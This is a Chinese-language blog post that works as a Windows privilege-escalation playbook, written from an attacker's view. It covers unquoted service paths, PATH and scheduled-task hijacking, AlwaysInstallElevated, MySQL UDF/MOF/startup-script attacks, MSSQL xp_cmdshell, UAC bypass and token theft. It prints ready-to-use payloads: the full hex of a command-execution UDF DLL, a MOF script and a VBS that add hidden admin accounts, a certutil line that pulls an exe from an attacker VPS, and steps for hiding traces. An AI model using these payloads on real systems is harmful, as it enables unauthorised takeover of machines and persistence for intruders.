windows提权小结

admin 2023年3月12日14:55:54windows提权小结已关闭评论45 views字数 25902阅读86分20秒阅读模式

系统内核溢出漏洞提权

```

手工查找补丁情况

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

MSF后渗透扫描

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

windows exploit suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

powershell中的sherlock脚本

Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns

Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法

usemodule privesc/powerup/allchecks
execute
```

https://i.hacking8.com/tiquan搜索对应的提权exp即可

lpk dll劫持

lpk劫持发生在Windows2003或者xp中。如果同一个目录中存在exe和lpk.dll。每当exe执行的时候就会被劫持。利用这个特性可以把lpk提权的文件放到权限较高的程序,当exe运行时,lpk.dl就可以进行提权。
使用软件生成dll,放在有exe软件的地方,当exe执行时dll会被自动载入

windows提权小结

启动时按5下shift,输入我们设置的dll密码,就可以调出利用界面

windows提权小结

Windows错误系统配置提权

Trusted Service Paths(可信任服务路径)漏洞

在windows中,如果一个文件的路径没有引号并且带有空格,windows就会把空格前面的名字当做exe文件来执行 ,利用系统服务执行的权限都是system权限来提权

测试

如果我们想执行exploit a文件夹下的exploit.exe文件,带上引号是没有问题的

windows提权小结

但是当我们不加引号,a前面的文件就会被当做exe来执行

windows提权小结

这时候如果我们在c盘放一个example文件,虽然路径是C:\example a\example,但是因为没加引号就会执行C:\example.exe

windows提权小结

注意:我们在cmd中是执行一次就会停止,但是如果系统服务指定了一个没加引号的目录,他会进行多次尝试
例如C:\Program Files\admin Data\Vuln Service ,他的执行顺序是这样的

C:\Program 先执行这个,但是发现没有这个文件,于是把Program Files当做一个整体
C:\Program Files\admin 如果存在admin文件停止解析后面的,如果不存在重复步骤往下解析
也就是说如果始终都没有找到文件它的执行顺序会是这样的
C:\Program
C:\Program Files\admin
C:\Program Files\admin Data\Vuln
C:\Program Files\admin Data\Vuln Service

小tips:如果想用cmd执行时跨越有空格的目录执行,我们可以前面加引号后面不加,这样也是执行admin.exe

"C:\Program Files\"admin Data\Vuln

环境配置

创建hack用户,但是不要提升到管理员权限

net user hack 123 /add

使用管理员权限创建一个文件夹

mkdir "C:\Program Files\admin Data\Vuln Service"

使用创建一个vulns服务指向C:\Program Files\admin Data\Vuln Service\file.exe文件,运行方式为auto

sc create "vulns" binpath= "C:\Program Files\admin Data\Vuln Service\file.exe" start= auto

windows提权小结

使用icacls命令将C:\Program Files\admin Data的写权限赋给BUILTIN\Users组

icacls "C:\Program Files\admin Data" /grant "BUILTIN\Users":W

我们的hack默认就在BUILTIN\Users组,这里其实要赋值给C:\Program Files或者C:\Program Files\admin Data都是没问题的

实战测试

msf得到木马发现是低权限

windows提权小结

使用以下命令查看非系统服务的没有加引号的服务,发现存在可利用点

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

windows提权小结

因为我们要上传一个木马,使用icacls命令查看文件夹哪里有写权限

icacls "C:\Program Files"
icacls "C:\Program Files\admin Data"
icacls "C:\Program Files\admin Data\Vuln Service"

发现只有C:\Program Files\admin Data具有写权限

windows提权小结

于是把木马命名为Vuln上传到admin Data文件夹

windows提权小结

这时候kali开启重新监听,当目标机器重启时,服务就会重新启动,就会解析我们的Vuln文件

windows提权小结

服务已经提升为system权限

windows提权小结

问题:如何不重启计算机就可以执行服务呢
重启计算机是因为我们账户没有启动停止服务的权限,如果目标环境有这个权限我们就不需要等待目标主机重启
Subinacl是微软提供的用于对文件、注册表、服务等对象进行权限管理的工具软件,我们可以利用这个软件来修改hack账户的权限,当然这是在管理员模式下运行,用于搭建测试环境
下载地址:https://codeload.github.com/AssassinUKG/Subinacl/zip/refs/heads/master
使用subinacl让hack用户具有控制vulns服务的权限

subinacl.exe /service vulns /grant=hack=PTO

使用PowerUp.ps1脚本可以查看是否拥有重启服务的权限
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

restart为true说明可以重启服务

windows提权小结

新开一个msf停止在启动服务后发现shell已经成为system权限

windows提权小结

msf exp一把梭

当我们拿到低权限shell之后,尝试使用这个exp,设置低权限的session执行即可

use windows/local/unquoted_service_path

因为他会自动寻找可利用服务,自动写入exp和重启服务,因此也是要求需要对服务有控制权限
我这里演示的时候失败了,可能是写文章改了太多次环境,但是刚开始是成功的,所以大家自行测试一下应该是没问题,成功他会自动弹回一个system权限的shell

windows提权小结

系统服务权限配置错误

和上面的大同小异,如果我们有Vuln Service的权限,我们可以吧file.exe替换为我们的exe文件,服务启动之后就会以system权限执行

PATH环境变量配置错误

查看当前环境变量

wmic ENVIRONMENT where "name='path'" get UserName,VariableValue

小tip:因为环境变量是按照顺序来执行的,所以当a和b文件夹都在环境变量中,但是他们也同时拥有shell.exe文件,那么哪个文件夹在配置里写在前面,就执行哪个文件夹的shell.exe

windows提权小结

当发现在%SystemRoot%\system32有其他目录,我们可以在这个目录里上传一个和系统命令名相同的shell,例如ipconfig.exe calc.exe等等,当有人用管理员权限运行时,就会优先执行我们的ipconfig

计划任务提权

原理也很简单,查找计划任务,然后判断计划任务所在目录我们也没有修改的权限,如果有就替换成我们的恶意文件
计划任务查询

```

schtask 查询

schtasks /query /fo LIST 2>nul

powershell

Get-ScheduledTask

进行筛选 删除包含/Microsoft/Windows/路径的所有任务

Get-ScheduledTask | Select * | ? {($.TaskPath -notlike "\Microsoft\Windows*") -And ($.Principal.UserId -notlike "$env:UserName")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
```

查看计划任务目录的权限

```
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\1111.exe

icacls "C:\ScheduledTasks\Task1\1111.exe"
```

替换完成等待计划任务运行

```

直接替换

certutil -urlcache -split -f "http://你的vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe
```

启用注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI
查看启用方法

```

PowerUp

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"

或者查看注册表键值是否被定义

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

启用后的利用方式

```
msf生成msi的payload 使用msiexec /quiet /qn /i muma.msi执行msi文件

或者获得一个低权限的shell后使用exploit/windows/local/always_install_elevated选择低权限的session来执行
```

数据库提权

Mysql

UDF提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。
*因为mysql拥有管理员权限,所以我们可以用mysql的管理员权限来执行命令,UDF提权和系统无关,当我们得到数据库的账号密码就可以尝试提权*
当 MySQL\< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
使用NTFS ADS流来创建文件夹的方法**

```
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
```

实验测试:
查看当前权限

windows提权小结

大马没有回显,我们用蚁剑看发现是apache

windows提权小结

使用shell连接数据库并执行命令写入dll文件(当然我们也可以直接将现成dll放到文件中)
这里的16进制文件其实就是dll的16进制,我们可以用python写一个简单脚本即可转换

with open(r"文件位置",'rb') as f:
hexdata = f.read().hex()
print("0x"+hexdata)

use mysql;
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
select data from temp into dumpfile "D:\\phpStudy2016\\MySQL\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval

特别注意

Can't open shared library 'udf.dll' (errno: 193 )
如果在create function sys_eval returns string soname 'udf.dll'; 遇到这个说明你dll不对或者过于老旧,从kali中找一个全新的dll

kali中udf提权dll的位置 /usr/share/metasploit-framework/data/exploits/mysql/ 复制出来即可,选择的dll的版本和mysql版本要相同
写入之后我们就可以执行命令了,执行命令发现已经提升为管理员权限

select * from mysql.func where name = 'sys_eval';   #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令

windows提权小结

当然我们也可用现成的udf提权脚本

windows提权小结

MOF提权

简介
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
MOF提权的条件要求十分严苛:

  1. windows 03 及以下版本
  2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
  3. secure-file-priv 参数不为 null

```

pragma namespace("\.\root\subscription")

instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
  "Where TargetInstance Isa \"Win32_LocalTime\" "
  "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = ;
Filter = ;
};
```

  1. 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.

我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么我们如何删掉我们的入侵账号呢?

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

启动项提权

这个利用vbs开机启动来执行命令,服务器需要重启
提权条件

  1. secure_file_priv不为 null
  2. 已知 root 密码

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

MSSQL

xp_cmdshell提权

拿到网站之后我们可以找到他的数据库连接文件,在我们拿到数据库账号密码后,如果数据库是sa权限,我们就可以用xp_cmdshell提权
查看xp_cmdshell是否存在,存在返回1

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='x' and name ='xp_cmdshell';

如果被删除了可以进行上传修复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

开启后可以以高权限执行命令

EXEC master..xp_cmdshell 'whoami';

SP_OACREATE 提权

同样也是要求sa权限
开启命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\Users\Public\1.txt'

bypassuac

UAC(UserAccount Control,用户账户控制),简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
UAC有如下四种设置要求:

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
  • 从不通知:当用户为系统管理员时,所有程序都会以最高权限运行

    windows提权小结
    *
    *

当我们获取了用户的权限,却是普通用户权限时,我们可以进行bypassuac
注意:这个用户需要在管理员用户组并且uac是默认设置才可以进行bypass

```

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use exploit/windows/local/bypassuac_vbs
use exploit/windows/local/bypassuac_fodhelper
use exploit/windows/local/bypassuac_eventvwr
use exploit/windows/local/bypassuac_comhijack
```

这些模块都可以尝试使用

windows提权小结

当然有很多软件有这种功能大家都可以尝试一下

DccwBypassUAC
K8uac
Uacme
Bypass-UAC
Sdclt
CLR BypassUAC

令牌窃取

介绍

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌的最大特点是随机性和不可预测性,黑客和软件无法猜解令牌。

令牌分类

访问令牌(Access Token):表示访问控制操作主体的系统对象 。
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
会话令牌(Session Token):是交互会话中唯一的身份标识符。
*密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。*

令牌的窃取与利用

use incognito #加载incognito模块
list_tokens -u #列出AccessToken
impersonate_token "NT AUTHORITY\SYSTEM" 伪造一个token
从进程窃取:steal_token 1252

windows提权小结

我们发现现在只有一个管理员权限的kaeiy,我们使用低权限的hack登录后,这时候有两个同时存在的用户

windows提权小结

可以看到已经得到了hack的token

windows提权小结

偷取token

windows提权小结

返回之前token:rev2self or drop_token

利用token获得TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller,例如路径C:\Windows\servicing,使用system权限无法在该路径创建文件
Metasploit中的incognito,是从windows平台下的incognito移植过来的
使用它列举token并复制生成system权限的cmd

windows提权小结

我们发现仍然创建不了文件

windows提权小结

查看文件夹属性会发现system没有写入权限,只有TrustedInstaller拥有

windows提权小结

查看权限TrustedInstaller.exe,发现是TrustedInstaller

Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe | select Owner

windows提权小结

我们的想法就是运行一个TrustedInstaller权限的程序之后偷取他的token即可
之后需要用到powershell5以上的版本,因为测试环境是win7版本太旧需要更新
更新教程:https://blog.csdn.net/qq_40783848/article/details/101347681
显示5.1即可

windows提权小结

Install-Module -Name NtObjectManager -RequiredVersion 1.1.1 #对NtObjectManager模块进行安装

如果安装时报错无法下载,可以执行以下命令

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;

windows提权小结

执行以下命令

sc.exe start TrustedInstaller #运行进程
Set-NtTokenPrivilege SeDebugPrivilege   #加载模块
$p = Get-NtProcess -Name TrustedInstaller.exe   #获取TrustedInstaller.exe进程
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p #获取token并加载cmd

发现已经在TrustedInstaller组中

whoami /groups /fo list

windows提权小结

成功创建文件夹

windows提权小结

使用以下方法其实也可以获取权限
SelectMyParent

sc start TrustedInstaller
SelectMyParent.exe cmd.exe 1700

Invoke-TokenManipulation.ps1

sc.exe start TrustedInstaller
$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id

当然我们也可以使用msf获得权限,大家自行尝试

load incognito
getsytem
ps
steal_token 3204
getuid

SeImpersonatePrivilege

whoami /priv 查看当前用户权限

普通权限

windows提权小结

